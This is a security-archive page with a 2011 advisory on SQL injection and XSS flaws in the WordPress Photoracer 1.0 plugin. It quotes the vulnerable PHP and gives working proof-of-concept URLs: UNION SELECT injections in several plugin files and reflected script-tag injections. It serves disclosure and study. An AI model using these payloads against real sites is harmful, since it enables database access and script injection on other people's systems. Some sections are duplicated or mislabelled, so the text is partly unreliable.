exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Photoracer 1.0 Cross Site Scripting / SQL Injection

WordPress Photoracer 1.0 Cross Site Scripting / SQL Injection
Posted Aug 28, 2011
Authored by Pr0T3cT10n

WordPress Photoracer versions 1.0 and below suffer from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 259eda24378e5a049064e337cb671cde620f769138132433f8ab69a42be9b8b2

WordPress Photoracer 1.0 Cross Site Scripting / SQL Injection

Change Mirror Download
##########################################################################
## WordPress Photoracer Plugin <= 1.0 Multiple XSS & SQLI Vulnerabilities
## Tested on Wordpress 3.2 Hebrew, Photoracer 1.0
## Vulnerabilities:
## * XSS
## * SQL Injection
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## Date: 26/08/2011
## Software Link: http://wordpress.org/extend/plugins/photoracer/
## ISRAEL
##########################################################################
## Author will be not responsible for any damage.
##########################################################################

## Vulnerable Code - mostvoted.php [15-22]:
15.if (isset($_REQUEST['pid']) || isset($_REQUEST['prid']))
16. $postid = $_REQUEST['pid'] ? $_REQUEST['pid'] : $_REQUEST['prid'];
17.if (isset($_REQUEST['p']))
18. $p = $_REQUEST['p'];
19.if ($postid == 0) exit;
20.$q1 = "SELECT raceid, active_from, active_to, indexpath, name, headcontent, numphoto FROM ".
21. $wpdb->prefix."photoracer_admin where postid=$postid";
22.$out = $wpdb->get_row($q1);

## NOTE:
## As you can see there is no validation or any filter to variable $postid ($_REQUEST['pid'] and $_REQUEST['prid']).
## See line 16. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/mostvoted.php?pid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
http://www.example.com/wp-content/plugins/photoracer/mostvoted.php?prid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################

## Vulnerable Code - mostviewed.php [15-22]:
15.if (isset($_REQUEST['pid']) || isset($_REQUEST['prid']))
16. $postid = $_REQUEST['pid'] ? $_REQUEST['pid'] : $_REQUEST['prid'];
17.if (isset($_REQUEST['p']))
18. $p = $_REQUEST['p'];
19.if ($postid == 0) exit;
20.$q1 = "SELECT raceid, active_from, active_to, indexpath, name, headcontent, numphoto FROM ".
21. $wpdb->prefix."photoracer_admin where postid=$postid";
22.$out = $wpdb->get_row($q1);

## NOTE:
## As you can see there is no validation or any filter to variable $postid ($_REQUEST['pid'] and $_REQUEST['prid']).
## See line 16. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/mostviewed.php?pid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
http://www.example.com/wp-content/plugins/photoracer/mostviewed.php?prid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################

## Vulnerable Code - crono.php [15-22]:
15.if (isset($_REQUEST['pid']) || isset($_REQUEST['prid']))
16. $postid = $_REQUEST['pid'] ? $_REQUEST['pid'] : $_REQUEST['prid'];
17.if (isset($_REQUEST['p']))
18. $p = $_REQUEST['p'];
19.if ($postid == 0) exit;
20.$q1 = "SELECT raceid, active_from, active_to, indexpath, name, headcontent, numphoto FROM ".
21. $wpdb->prefix."photoracer_admin where postid=$postid";
22.$out = $wpdb->get_row($q1);

## NOTE:
## As you can see there is no validation or any filter to variable $postid ($_REQUEST['pid'] and $_REQUEST['prid']).
## See line 16. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/crono.php?pid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
http://www.example.com/wp-content/plugins/photoracer/crono.php?prid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################

## Vulnerable Code - changefrom.php [31, 47-49]:
31.if (isset($_REQUEST['rid'])) $rid = $_REQUEST['rid'];
...........
47.$prq="SELECT raceid, postid, active_from, active_to, indexpath, name, numphoto FROM ".$wpdb->prefix."photoracer_admin WHERE raceid=$rid";
48.//echo $pr_qlist."<br>\n";
49.$out = $wpdb->get_row($prq);

## NOTE:
## As you can see there is no validation or any filter to variable $rid ($_REQUEST['rid']).
## See line 31. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/changefrom.php?rid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################

## Vulnerable Code - changefrom.php [31, 47-49]:
31.if (isset($_REQUEST['rid'])) $rid = $_REQUEST['rid'];
...........
47.$prq="SELECT raceid, postid, active_from, active_to, indexpath, name, numphoto FROM ".$wpdb->prefix."photoracer_admin WHERE raceid=$rid";
48.//echo $pr_qlist."<br>\n";
49.$out = $wpdb->get_row($prq);

## NOTE:
## As you can see there is no validation or any filter to variable $rid ($_REQUEST['rid']).
## See line 31. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/changeto.php?rid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################


## XSS PoC:
http://www.example.com/wp-content/plugins/photoracer/changefrom.php?rid="><script>alert(1);</script>
http://www.example.com/wp-content/plugins/photoracer/changeto.php?rid="><script>alert(1);</script>


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close